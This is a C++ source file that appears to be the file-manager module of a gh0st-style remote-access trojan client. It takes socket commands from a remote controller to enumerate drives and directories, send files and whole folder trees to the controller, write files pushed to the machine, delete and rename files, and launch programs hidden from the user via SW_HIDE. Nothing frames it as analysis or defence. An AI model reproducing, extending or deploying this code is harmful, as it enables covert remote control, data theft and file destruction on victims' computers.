786 lines
18 KiB
C++
786 lines
18 KiB
C++
// FileManager.cpp: implementation of the CFileManager class.
|
||
//
|
||
//////////////////////////////////////////////////////////////////////
|
||
|
||
#include "FileManager.h"
|
||
|
||
typedef struct
|
||
{
|
||
DWORD dwSizeHigh;
|
||
DWORD dwSizeLow;
|
||
}FILESIZE;
|
||
|
||
//////////////////////////////////////////////////////////////////////
|
||
// Construction/Destruction
|
||
//////////////////////////////////////////////////////////////////////
|
||
|
||
CFileManager::CFileManager(CClientSocket *pClient, int h, void* user):CManager(pClient)
|
||
{
|
||
m_nTransferMode = TRANSFER_MODE_NORMAL;
|
||
// 发送驱动器列表, 开始进行文件管理，建立新线程
|
||
SendDriveList();
|
||
}
|
||
|
||
CFileManager::~CFileManager()
|
||
{
|
||
m_UploadList.clear();
|
||
}
|
||
|
||
VOID CFileManager::OnReceive(PBYTE lpBuffer, ULONG nSize)
|
||
{
|
||
switch (lpBuffer[0])
|
||
{
|
||
case COMMAND_LIST_FILES:// 获取文件列表
|
||
SendFilesList((char *)lpBuffer + 1);
|
||
break;
|
||
case COMMAND_DELETE_FILE:// 删除文件
|
||
DeleteFile((char *)lpBuffer + 1);
|
||
SendToken(TOKEN_DELETE_FINISH);
|
||
break;
|
||
case COMMAND_DELETE_DIRECTORY:// 删除文件
|
||
DeleteDirectory((char *)lpBuffer + 1);
|
||
SendToken(TOKEN_DELETE_FINISH);
|
||
break;
|
||
case COMMAND_DOWN_FILES: // 上传文件
|
||
UploadToRemote(lpBuffer + 1);
|
||
break;
|
||
case COMMAND_CONTINUE: // 上传文件
|
||
SendFileData(lpBuffer + 1);
|
||
break;
|
||
case COMMAND_CREATE_FOLDER:
|
||
CreateFolder(lpBuffer + 1);
|
||
break;
|
||
case COMMAND_RENAME_FILE:
|
||
Rename(lpBuffer + 1);
|
||
break;
|
||
case COMMAND_STOP:
|
||
StopTransfer();
|
||
break;
|
||
case COMMAND_SET_TRANSFER_MODE:
|
||
SetTransferMode(lpBuffer + 1);
|
||
break;
|
||
case COMMAND_FILE_SIZE:
|
||
CreateLocalRecvFile(lpBuffer + 1);
|
||
break;
|
||
case COMMAND_FILE_DATA:
|
||
WriteLocalRecvFile(lpBuffer + 1, nSize -1);
|
||
break;
|
||
case COMMAND_OPEN_FILE_SHOW:
|
||
OpenFile((char *)lpBuffer + 1, SW_SHOW);
|
||
break;
|
||
case COMMAND_OPEN_FILE_HIDE:
|
||
OpenFile((char *)lpBuffer + 1, SW_HIDE);
|
||
break;
|
||
default:
|
||
break;
|
||
}
|
||
}
|
||
|
||
|
||
bool CFileManager::MakeSureDirectoryPathExists(LPCTSTR pszDirPath)
|
||
{
|
||
LPTSTR p, pszDirCopy;
|
||
DWORD dwAttributes;
|
||
|
||
// Make a copy of the string for editing.
|
||
|
||
__try
|
||
{
|
||
pszDirCopy = (LPTSTR)malloc(sizeof(TCHAR) * (lstrlen(pszDirPath) + 1));
|
||
|
||
if(pszDirCopy == NULL)
|
||
return FALSE;
|
||
|
||
lstrcpy(pszDirCopy, pszDirPath);
|
||
|
||
p = pszDirCopy;
|
||
|
||
// If the second character in the path is "\", then this is a UNC
|
||
// path, and we should skip forward until we reach the 2nd \ in the path.
|
||
|
||
if((*p == TEXT('\\')) && (*(p+1) == TEXT('\\')))
|
||
{
|
||
p++; // Skip over the first \ in the name.
|
||
p++; // Skip over the second \ in the name.
|
||
|
||
// Skip until we hit the first "\" (\\Server\).
|
||
|
||
while(*p && *p != TEXT('\\'))
|
||
{
|
||
p = CharNext(p);
|
||
}
|
||
|
||
// Advance over it.
|
||
|
||
if(*p)
|
||
{
|
||
p++;
|
||
}
|
||
|
||
// Skip until we hit the second "\" (\\Server\Share\).
|
||
|
||
while(*p && *p != TEXT('\\'))
|
||
{
|
||
p = CharNext(p);
|
||
}
|
||
|
||
// Advance over it also.
|
||
|
||
if(*p)
|
||
{
|
||
p++;
|
||
}
|
||
}
|
||
else if(*(p+1) == TEXT(':')) // Not a UNC. See if it's <drive>:
|
||
{
|
||
p++;
|
||
p++;
|
||
|
||
// If it exists, skip over the root specifier
|
||
|
||
if(*p && (*p == TEXT('\\')))
|
||
{
|
||
p++;
|
||
}
|
||
}
|
||
|
||
while(*p)
|
||
{
|
||
if(*p == TEXT('\\'))
|
||
{
|
||
*p = TEXT('\0');
|
||
dwAttributes = GetFileAttributes(pszDirCopy);
|
||
|
||
// Nothing exists with this name. Try to make the directory name and error if unable to.
|
||
if(dwAttributes == 0xffffffff)
|
||
{
|
||
if(!CreateDirectory(pszDirCopy, NULL))
|
||
{
|
||
if(GetLastError() != ERROR_ALREADY_EXISTS)
|
||
{
|
||
free(pszDirCopy);
|
||
return FALSE;
|
||
}
|
||
}
|
||
}
|
||
else
|
||
{
|
||
if((dwAttributes & FILE_ATTRIBUTE_DIRECTORY) != FILE_ATTRIBUTE_DIRECTORY)
|
||
{
|
||
// Something exists with this name, but it's not a directory... Error
|
||
free(pszDirCopy);
|
||
return FALSE;
|
||
}
|
||
}
|
||
|
||
*p = TEXT('\\');
|
||
}
|
||
|
||
p = CharNext(p);
|
||
}
|
||
}
|
||
__except(EXCEPTION_EXECUTE_HANDLER)
|
||
{
|
||
free(pszDirCopy);
|
||
return FALSE;
|
||
}
|
||
|
||
free(pszDirCopy);
|
||
return TRUE;
|
||
}
|
||
|
||
bool CFileManager::OpenFile(LPCTSTR lpFile, INT nShowCmd)
|
||
{
|
||
char lpSubKey[500];
|
||
HKEY hKey;
|
||
char strTemp[MAX_PATH];
|
||
LONG nSize = sizeof(strTemp);
|
||
char *lpstrCat = NULL;
|
||
memset(strTemp, 0, sizeof(strTemp));
|
||
|
||
const char *lpExt = strrchr(lpFile, '.');
|
||
if (!lpExt)
|
||
return false;
|
||
|
||
if (RegOpenKeyEx(HKEY_CLASSES_ROOT, lpExt, 0L, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
|
||
return false;
|
||
RegQueryValue(hKey, NULL, strTemp, &nSize);
|
||
RegCloseKey(hKey);
|
||
memset(lpSubKey, 0, sizeof(lpSubKey));
|
||
wsprintf(lpSubKey, "%s\\shell\\open\\command", strTemp);
|
||
|
||
if (RegOpenKeyEx(HKEY_CLASSES_ROOT, lpSubKey, 0L, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
|
||
return false;
|
||
memset(strTemp, 0, sizeof(strTemp));
|
||
nSize = sizeof(strTemp);
|
||
RegQueryValue(hKey, NULL, strTemp, &nSize);
|
||
RegCloseKey(hKey);
|
||
|
||
lpstrCat = strstr(strTemp, "\"%1");
|
||
if (lpstrCat == NULL)
|
||
lpstrCat = strstr(strTemp, "%1");
|
||
|
||
if (lpstrCat == NULL)
|
||
{
|
||
lstrcat(strTemp, " ");
|
||
lstrcat(strTemp, lpFile);
|
||
}
|
||
else
|
||
lstrcpy(lpstrCat, lpFile);
|
||
|
||
STARTUPINFO si = {0};
|
||
PROCESS_INFORMATION pi;
|
||
si.cb = sizeof si;
|
||
if (nShowCmd != SW_HIDE)
|
||
si.lpDesktop = "WinSta0\\Default";
|
||
|
||
CreateProcess(NULL, strTemp, NULL, NULL, false, 0, NULL, NULL, &si, &pi);
|
||
return true;
|
||
}
|
||
|
||
UINT CFileManager::SendDriveList()
|
||
{
|
||
char DriveString[256];
|
||
// 前一个字节为令牌，后面的52字节为驱动器跟相关属性
|
||
BYTE DriveList[1024];
|
||
char FileSystem[MAX_PATH];
|
||
char *pDrive = NULL;
|
||
DriveList[0] = TOKEN_DRIVE_LIST; // 驱动器列表
|
||
GetLogicalDriveStrings(sizeof(DriveString), DriveString);
|
||
pDrive = DriveString;
|
||
|
||
unsigned __int64 HDAmount = 0;
|
||
unsigned __int64 HDFreeSpace = 0;
|
||
unsigned __int64 AmntMB = 0; // 总大小
|
||
unsigned __int64 FreeMB = 0; // 剩余空间
|
||
|
||
DWORD dwOffset = 1;
|
||
for (; *pDrive != '\0'; pDrive += lstrlen(pDrive) + 1)
|
||
{
|
||
memset(FileSystem, 0, sizeof(FileSystem));
|
||
// 得到文件系统信息及大小
|
||
GetVolumeInformation(pDrive, NULL, 0, NULL, NULL, NULL, FileSystem, MAX_PATH);
|
||
SHFILEINFO sfi = {};
|
||
SHGetFileInfo(pDrive, FILE_ATTRIBUTE_NORMAL, &sfi, sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES);
|
||
|
||
int nTypeNameLen = lstrlen(sfi.szTypeName) + 1;
|
||
int nFileSystemLen = lstrlen(FileSystem) + 1;
|
||
|
||
// 计算磁盘大小
|
||
if (pDrive[0] != 'A' && pDrive[0] != 'B' && GetDiskFreeSpaceEx(pDrive, (PULARGE_INTEGER)&HDFreeSpace, (PULARGE_INTEGER)&HDAmount, NULL))
|
||
{
|
||
AmntMB = HDAmount / 1024 / 1024;
|
||
FreeMB = HDFreeSpace / 1024 / 1024;
|
||
}
|
||
else
|
||
{
|
||
AmntMB = 0;
|
||
FreeMB = 0;
|
||
}
|
||
// 开始赋值
|
||
DriveList[dwOffset] = pDrive[0];
|
||
DriveList[dwOffset + 1] = GetDriveType(pDrive);
|
||
|
||
// 磁盘空间描述占去了8字节
|
||
memcpy(DriveList + dwOffset + 2, &AmntMB, sizeof(unsigned long));
|
||
memcpy(DriveList + dwOffset + 6, &FreeMB, sizeof(unsigned long));
|
||
|
||
// 磁盘卷标名及磁盘类型
|
||
memcpy(DriveList + dwOffset + 10, sfi.szTypeName, nTypeNameLen);
|
||
memcpy(DriveList + dwOffset + 10 + nTypeNameLen, FileSystem, nFileSystemLen);
|
||
|
||
dwOffset += 10 + nTypeNameLen + nFileSystemLen;
|
||
}
|
||
|
||
return Send((LPBYTE)DriveList, dwOffset);
|
||
}
|
||
|
||
|
||
UINT CFileManager::SendFilesList(LPCTSTR lpszDirectory)
|
||
{
|
||
// 重置传输方式
|
||
m_nTransferMode = TRANSFER_MODE_NORMAL;
|
||
|
||
UINT nRet = 0;
|
||
char strPath[MAX_PATH];
|
||
char *pszFileName = NULL;
|
||
LPBYTE lpList = NULL;
|
||
HANDLE hFile;
|
||
DWORD dwOffset = 0; // 位移指针
|
||
int nLen = 0;
|
||
DWORD nBufferSize = 1024 * 10; // 先分配10K的缓冲区
|
||
WIN32_FIND_DATA FindFileData;
|
||
|
||
lpList = (BYTE *)LocalAlloc(LPTR, nBufferSize);
|
||
if (lpList==NULL)
|
||
{
|
||
return 0;
|
||
}
|
||
|
||
wsprintf(strPath, "%s\\*.*", lpszDirectory);
|
||
hFile = FindFirstFile(strPath, &FindFileData);
|
||
|
||
if (hFile == INVALID_HANDLE_VALUE)
|
||
{
|
||
BYTE bToken = TOKEN_FILE_LIST;
|
||
return Send(&bToken, 1);
|
||
}
|
||
|
||
*lpList = TOKEN_FILE_LIST;
|
||
|
||
// 1 为数据包头部所占字节,最后赋值
|
||
dwOffset = 1;
|
||
/*
|
||
文件属性 1
|
||
文件名 strlen(filename) + 1 ('\0')
|
||
文件大小 4
|
||
*/
|
||
do
|
||
{
|
||
// 动态扩展缓冲区
|
||
if (dwOffset > (nBufferSize - MAX_PATH * 2))
|
||
{
|
||
nBufferSize += MAX_PATH * 2;
|
||
lpList = (BYTE *)LocalReAlloc(lpList, nBufferSize, LMEM_ZEROINIT|LMEM_MOVEABLE);
|
||
if (lpList == NULL)
|
||
continue;
|
||
}
|
||
pszFileName = FindFileData.cFileName;
|
||
if (strcmp(pszFileName, ".") == 0 || strcmp(pszFileName, "..") == 0)
|
||
continue;
|
||
// 文件属性 1 字节
|
||
*(lpList + dwOffset) = FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY;
|
||
dwOffset++;
|
||
// 文件名 lstrlen(pszFileName) + 1 字节
|
||
nLen = lstrlen(pszFileName);
|
||
memcpy(lpList + dwOffset, pszFileName, nLen);
|
||
dwOffset += nLen;
|
||
*(lpList + dwOffset) = 0;
|
||
dwOffset++;
|
||
|
||
// 文件大小 8 字节
|
||
memcpy(lpList + dwOffset, &FindFileData.nFileSizeHigh, sizeof(DWORD));
|
||
memcpy(lpList + dwOffset + 4, &FindFileData.nFileSizeLow, sizeof(DWORD));
|
||
dwOffset += 8;
|
||
// 最后访问时间 8 字节
|
||
memcpy(lpList + dwOffset, &FindFileData.ftLastWriteTime, sizeof(FILETIME));
|
||
dwOffset += 8;
|
||
} while(FindNextFile(hFile, &FindFileData));
|
||
|
||
nRet = Send(lpList, dwOffset);
|
||
|
||
LocalFree(lpList);
|
||
FindClose(hFile);
|
||
return nRet;
|
||
}
|
||
|
||
|
||
bool CFileManager::DeleteDirectory(LPCTSTR lpszDirectory)
|
||
{
|
||
WIN32_FIND_DATA wfd;
|
||
char lpszFilter[MAX_PATH];
|
||
|
||
wsprintf(lpszFilter, "%s\\*.*", lpszDirectory);
|
||
|
||
HANDLE hFind = FindFirstFile(lpszFilter, &wfd);
|
||
if (hFind == INVALID_HANDLE_VALUE) // 如果没有找到或查找失败
|
||
return FALSE;
|
||
|
||
do
|
||
{
|
||
if (wfd.cFileName[0] != '.')
|
||
{
|
||
if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
|
||
{
|
||
char strDirectory[MAX_PATH];
|
||
wsprintf(strDirectory, "%s\\%s", lpszDirectory, wfd.cFileName);
|
||
DeleteDirectory(strDirectory);
|
||
}
|
||
else
|
||
{
|
||
char strFile[MAX_PATH];
|
||
wsprintf(strFile, "%s\\%s", lpszDirectory, wfd.cFileName);
|
||
DeleteFile(strFile);
|
||
}
|
||
}
|
||
} while (FindNextFile(hFind, &wfd));
|
||
|
||
FindClose(hFind); // 关闭查找句柄
|
||
|
||
if(!RemoveDirectory(lpszDirectory))
|
||
{
|
||
return FALSE;
|
||
}
|
||
return true;
|
||
}
|
||
|
||
UINT CFileManager::SendFileSize(LPCTSTR lpszFileName)
|
||
{
|
||
UINT nRet = 0;
|
||
DWORD dwSizeHigh;
|
||
DWORD dwSizeLow;
|
||
// 1 字节token, 8字节大小, 文件名称, '\0'
|
||
HANDLE hFile;
|
||
// 保存当前正在操作的文件名
|
||
memset(m_strCurrentProcessFileName, 0, sizeof(m_strCurrentProcessFileName));
|
||
strcpy(m_strCurrentProcessFileName, lpszFileName);
|
||
|
||
hFile = CreateFile(lpszFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
|
||
if (hFile == INVALID_HANDLE_VALUE)
|
||
return FALSE;
|
||
dwSizeLow = GetFileSize(hFile, &dwSizeHigh);
|
||
CloseHandle(hFile);
|
||
// 构造数据包，发送文件长度
|
||
int nPacketSize = lstrlen(lpszFileName) + 10;
|
||
BYTE *bPacket = (BYTE *)LocalAlloc(LPTR, nPacketSize);
|
||
if (bPacket==NULL)
|
||
{
|
||
return 0;
|
||
}
|
||
memset(bPacket, 0, nPacketSize);
|
||
|
||
bPacket[0] = TOKEN_FILE_SIZE;
|
||
FILESIZE *pFileSize = (FILESIZE *)(bPacket + 1);
|
||
pFileSize->dwSizeHigh = dwSizeHigh;
|
||
pFileSize->dwSizeLow = dwSizeLow;
|
||
memcpy(bPacket + 9, lpszFileName, lstrlen(lpszFileName) + 1);
|
||
|
||
nRet = Send(bPacket, nPacketSize);
|
||
LocalFree(bPacket);
|
||
return nRet;
|
||
}
|
||
|
||
UINT CFileManager::SendFileData(LPBYTE lpBuffer)
|
||
{
|
||
UINT nRet = 0;
|
||
FILESIZE *pFileSize;
|
||
char *lpFileName;
|
||
|
||
pFileSize = (FILESIZE *)lpBuffer;
|
||
lpFileName = m_strCurrentProcessFileName;
|
||
|
||
// 远程跳过，传送下一个
|
||
if (pFileSize->dwSizeLow == -1)
|
||
{
|
||
UploadNext();
|
||
return 0;
|
||
}
|
||
HANDLE hFile;
|
||
hFile = CreateFile(lpFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
|
||
if (hFile == INVALID_HANDLE_VALUE)
|
||
return -1;
|
||
|
||
SetFilePointer(hFile, pFileSize->dwSizeLow, (long *)&(pFileSize->dwSizeHigh), FILE_BEGIN);
|
||
|
||
int nHeadLength = 9; // 1 + 4 + 4数据包头部大小
|
||
DWORD nNumberOfBytesToRead = MAX_SEND_BUFFER - nHeadLength;
|
||
DWORD nNumberOfBytesRead = 0;
|
||
|
||
LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, MAX_SEND_BUFFER);
|
||
if (lpPacket == NULL)
|
||
return -1;
|
||
// Token, 大小，偏移，文件名，数据
|
||
lpPacket[0] = TOKEN_FILE_DATA;
|
||
memcpy(lpPacket + 1, pFileSize, sizeof(FILESIZE));
|
||
ReadFile(hFile, lpPacket + nHeadLength, nNumberOfBytesToRead, &nNumberOfBytesRead, NULL);
|
||
CloseHandle(hFile);
|
||
|
||
if (nNumberOfBytesRead > 0)
|
||
{
|
||
int nPacketSize = nNumberOfBytesRead + nHeadLength;
|
||
nRet = Send(lpPacket, nPacketSize);
|
||
}
|
||
else
|
||
{
|
||
UploadNext();
|
||
}
|
||
|
||
LocalFree(lpPacket);
|
||
|
||
return nRet;
|
||
}
|
||
|
||
// 传送下一个文件
|
||
void CFileManager::UploadNext()
|
||
{
|
||
list <string>::iterator it = m_UploadList.begin();
|
||
// 删除一个任务
|
||
m_UploadList.erase(it);
|
||
// 还有上传任务
|
||
if(m_UploadList.empty())
|
||
{
|
||
SendToken(TOKEN_TRANSFER_FINISH);
|
||
}
|
||
else
|
||
{
|
||
// 上传下一个
|
||
it = m_UploadList.begin();
|
||
SendFileSize((*it).c_str());
|
||
}
|
||
}
|
||
|
||
int CFileManager::SendToken(BYTE bToken)
|
||
{
|
||
return Send(&bToken, 1);
|
||
}
|
||
|
||
bool CFileManager::UploadToRemote(LPBYTE lpBuffer)
|
||
{
|
||
if (lpBuffer[lstrlen((char *)lpBuffer) - 1] == '\\')
|
||
{
|
||
FixedUploadList((char *)lpBuffer);
|
||
if (m_UploadList.empty())
|
||
{
|
||
StopTransfer();
|
||
return true;
|
||
}
|
||
}
|
||
else
|
||
{
|
||
m_UploadList.push_back((char *)lpBuffer);
|
||
}
|
||
|
||
list <string>::iterator it = m_UploadList.begin();
|
||
// 发送第一个文件
|
||
SendFileSize((*it).c_str());
|
||
|
||
return true;
|
||
}
|
||
|
||
bool CFileManager::FixedUploadList(LPCTSTR lpPathName)
|
||
{
|
||
WIN32_FIND_DATA wfd;
|
||
char lpszFilter[MAX_PATH];
|
||
char *lpszSlash = NULL;
|
||
memset(lpszFilter, 0, sizeof(lpszFilter));
|
||
|
||
if (lpPathName[lstrlen(lpPathName) - 1] != '\\')
|
||
lpszSlash = "\\";
|
||
else
|
||
lpszSlash = "";
|
||
|
||
wsprintf(lpszFilter, "%s%s*.*", lpPathName, lpszSlash);
|
||
|
||
HANDLE hFind = FindFirstFile(lpszFilter, &wfd);
|
||
if (hFind == INVALID_HANDLE_VALUE) // 如果没有找到或查找失败
|
||
return false;
|
||
|
||
do
|
||
{
|
||
if (wfd.cFileName[0] != '.')
|
||
{
|
||
if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
|
||
{
|
||
char strDirectory[MAX_PATH];
|
||
wsprintf(strDirectory, "%s%s%s", lpPathName, lpszSlash, wfd.cFileName);
|
||
FixedUploadList(strDirectory);
|
||
}
|
||
else
|
||
{
|
||
char strFile[MAX_PATH];
|
||
wsprintf(strFile, "%s%s%s", lpPathName, lpszSlash, wfd.cFileName);
|
||
m_UploadList.push_back(strFile);
|
||
}
|
||
}
|
||
} while (FindNextFile(hFind, &wfd));
|
||
|
||
FindClose(hFind); // 关闭查找句柄
|
||
return true;
|
||
}
|
||
|
||
void CFileManager::StopTransfer()
|
||
{
|
||
if (!m_UploadList.empty())
|
||
m_UploadList.clear();
|
||
SendToken(TOKEN_TRANSFER_FINISH);
|
||
}
|
||
|
||
void CFileManager::CreateLocalRecvFile(LPBYTE lpBuffer)
|
||
{
|
||
FILESIZE *pFileSize = (FILESIZE *)lpBuffer;
|
||
// 保存当前正在操作的文件名
|
||
memset(m_strCurrentProcessFileName, 0, sizeof(m_strCurrentProcessFileName));
|
||
strcpy(m_strCurrentProcessFileName, (char *)lpBuffer + 8);
|
||
|
||
// 保存文件长度
|
||
m_nCurrentProcessFileLength = (pFileSize->dwSizeHigh * (MAXDWORD + long long(1))) + pFileSize->dwSizeLow;
|
||
|
||
// 创建多层目录
|
||
MakeSureDirectoryPathExists(m_strCurrentProcessFileName);
|
||
|
||
WIN32_FIND_DATA FindFileData;
|
||
HANDLE hFind = FindFirstFile(m_strCurrentProcessFileName, &FindFileData);
|
||
|
||
if (hFind != INVALID_HANDLE_VALUE
|
||
&& m_nTransferMode != TRANSFER_MODE_OVERWRITE_ALL
|
||
&& m_nTransferMode != TRANSFER_MODE_ADDITION_ALL
|
||
&& m_nTransferMode != TRANSFER_MODE_JUMP_ALL
|
||
)
|
||
{
|
||
SendToken(TOKEN_GET_TRANSFER_MODE);
|
||
}
|
||
else
|
||
{
|
||
GetFileData();
|
||
}
|
||
FindClose(hFind);
|
||
}
|
||
|
||
void CFileManager::GetFileData()
|
||
{
|
||
int nTransferMode;
|
||
switch (m_nTransferMode)
|
||
{
|
||
case TRANSFER_MODE_OVERWRITE_ALL:
|
||
nTransferMode = TRANSFER_MODE_OVERWRITE;
|
||
break;
|
||
case TRANSFER_MODE_ADDITION_ALL:
|
||
nTransferMode = TRANSFER_MODE_ADDITION;
|
||
break;
|
||
case TRANSFER_MODE_JUMP_ALL:
|
||
nTransferMode = TRANSFER_MODE_JUMP;
|
||
break;
|
||
default:
|
||
nTransferMode = m_nTransferMode;
|
||
}
|
||
|
||
WIN32_FIND_DATA FindFileData;
|
||
HANDLE hFind = FindFirstFile(m_strCurrentProcessFileName, &FindFileData);
|
||
|
||
// 1字节Token,四字节偏移高四位，四字节偏移低四位
|
||
BYTE bToken[9];
|
||
DWORD dwCreationDisposition = 0; // 文件打开方式
|
||
memset(bToken, 0, sizeof(bToken));
|
||
bToken[0] = TOKEN_DATA_CONTINUE;
|
||
|
||
// 文件已经存在
|
||
if (hFind != INVALID_HANDLE_VALUE)
|
||
{
|
||
// 提示点什么
|
||
// 如果是续传
|
||
if (nTransferMode == TRANSFER_MODE_ADDITION)
|
||
{
|
||
memcpy(bToken + 1, &FindFileData.nFileSizeHigh, 4);
|
||
memcpy(bToken + 5, &FindFileData.nFileSizeLow, 4);
|
||
dwCreationDisposition = OPEN_EXISTING;
|
||
}
|
||
// 覆盖
|
||
else if (nTransferMode == TRANSFER_MODE_OVERWRITE)
|
||
{
|
||
// 偏移置0
|
||
memset(bToken + 1, 0, 8);
|
||
// 重新创建
|
||
dwCreationDisposition = CREATE_ALWAYS;
|
||
}
|
||
// 传送下一个
|
||
else if (nTransferMode == TRANSFER_MODE_JUMP)
|
||
{
|
||
DWORD dwOffset = -1;
|
||
memcpy(bToken + 5, &dwOffset, 4);
|
||
dwCreationDisposition = OPEN_EXISTING;
|
||
}
|
||
}
|
||
else
|
||
{
|
||
// 偏移置0
|
||
memset(bToken + 1, 0, 8);
|
||
// 重新创建
|
||
dwCreationDisposition = CREATE_ALWAYS;
|
||
}
|
||
FindClose(hFind);
|
||
|
||
HANDLE hFile =
|
||
CreateFile
|
||
(
|
||
m_strCurrentProcessFileName,
|
||
GENERIC_WRITE,
|
||
FILE_SHARE_WRITE,
|
||
NULL,
|
||
dwCreationDisposition,
|
||
FILE_ATTRIBUTE_NORMAL,
|
||
0
|
||
);
|
||
// 需要错误处理
|
||
if (hFile == INVALID_HANDLE_VALUE)
|
||
{
|
||
m_nCurrentProcessFileLength = 0;
|
||
return;
|
||
}
|
||
CloseHandle(hFile);
|
||
|
||
Send(bToken, sizeof(bToken));
|
||
}
|
||
|
||
void CFileManager::WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize)
|
||
{
|
||
// 传输完毕
|
||
BYTE *pData;
|
||
DWORD dwBytesToWrite;
|
||
DWORD dwBytesWrite;
|
||
int nHeadLength = 9; // 1 + 4 + 4 数据包头部大小，为固定的9
|
||
FILESIZE *pFileSize;
|
||
// 得到数据的偏移
|
||
pData = lpBuffer + 8;
|
||
|
||
pFileSize = (FILESIZE *)lpBuffer;
|
||
|
||
// 得到数据在文件中的偏移
|
||
LONG dwOffsetHigh = pFileSize->dwSizeHigh;
|
||
LONG dwOffsetLow = pFileSize->dwSizeLow;
|
||
|
||
dwBytesToWrite = nSize - 8;
|
||
|
||
HANDLE hFile =
|
||
CreateFile
|
||
(
|
||
m_strCurrentProcessFileName,
|
||
GENERIC_WRITE,
|
||
FILE_SHARE_WRITE,
|
||
NULL,
|
||
OPEN_EXISTING,
|
||
FILE_ATTRIBUTE_NORMAL,
|
||
0
|
||
);
|
||
|
||
SetFilePointer(hFile, dwOffsetLow, &dwOffsetHigh, FILE_BEGIN);
|
||
|
||
int nRet = 0;
|
||
// 写入文件
|
||
nRet = WriteFile
|
||
(
|
||
hFile,
|
||
pData,
|
||
dwBytesToWrite,
|
||
&dwBytesWrite,
|
||
NULL
|
||
);
|
||
CloseHandle(hFile);
|
||
// 为了比较，计数器递增
|
||
BYTE bToken[9];
|
||
bToken[0] = TOKEN_DATA_CONTINUE;
|
||
dwOffsetLow += dwBytesWrite;
|
||
memcpy(bToken + 1, &dwOffsetHigh, sizeof(dwOffsetHigh));
|
||
memcpy(bToken + 5, &dwOffsetLow, sizeof(dwOffsetLow));
|
||
Send(bToken, sizeof(bToken));
|
||
}
|
||
|
||
void CFileManager::SetTransferMode(LPBYTE lpBuffer)
|
||
{
|
||
memcpy(&m_nTransferMode, lpBuffer, sizeof(m_nTransferMode));
|
||
GetFileData();
|
||
}
|
||
|
||
void CFileManager::CreateFolder(LPBYTE lpBuffer)
|
||
{
|
||
MakeSureDirectoryPathExists((char *)lpBuffer);
|
||
SendToken(TOKEN_CREATEFOLDER_FINISH);
|
||
}
|
||
|
||
void CFileManager::Rename(LPBYTE lpBuffer)
|
||
{
|
||
LPCTSTR lpExistingFileName = (char *)lpBuffer;
|
||
LPCTSTR lpNewFileName = lpExistingFileName + lstrlen(lpExistingFileName) + 1;
|
||
::MoveFile(lpExistingFileName, lpNewFileName);
|
||
SendToken(TOKEN_RENAME_FINISH);
|
||
}
|